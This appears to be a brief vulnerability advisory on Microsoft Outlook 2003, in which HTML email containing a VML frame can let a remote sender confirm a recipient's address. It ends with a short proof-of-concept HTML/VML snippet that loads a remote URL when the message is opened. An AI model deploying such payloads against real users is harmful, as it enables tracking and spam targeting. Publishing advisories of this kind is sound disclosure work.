source: https://www.securityfocus.com/bid/10323/info It has been reported that Microsoft Outlook mail client may be prone to a weakness that could allow a remote attacker to verify the validity of a recipient's e-mail address. This issue may result in a victim receiving more junk e-mail. Microsoft Outlook 2003 is reported to be affected by this issue. <v:vml frame style="LEFT: 50px; WIDTH: 300px; POSITION: relative; TOP: 30px; HEIGHT: 200px" src = "http://www.example.com/duh.txt#malware"></v:vmlframe> <HTML> <HEAD> <STYLE> v\:* { behavior: url(#default#VML); } </STYLE> <XML:NAMESPACE NS="urn:schemas-microsoft-com:vml" PREFIX="v"/> </HEAD>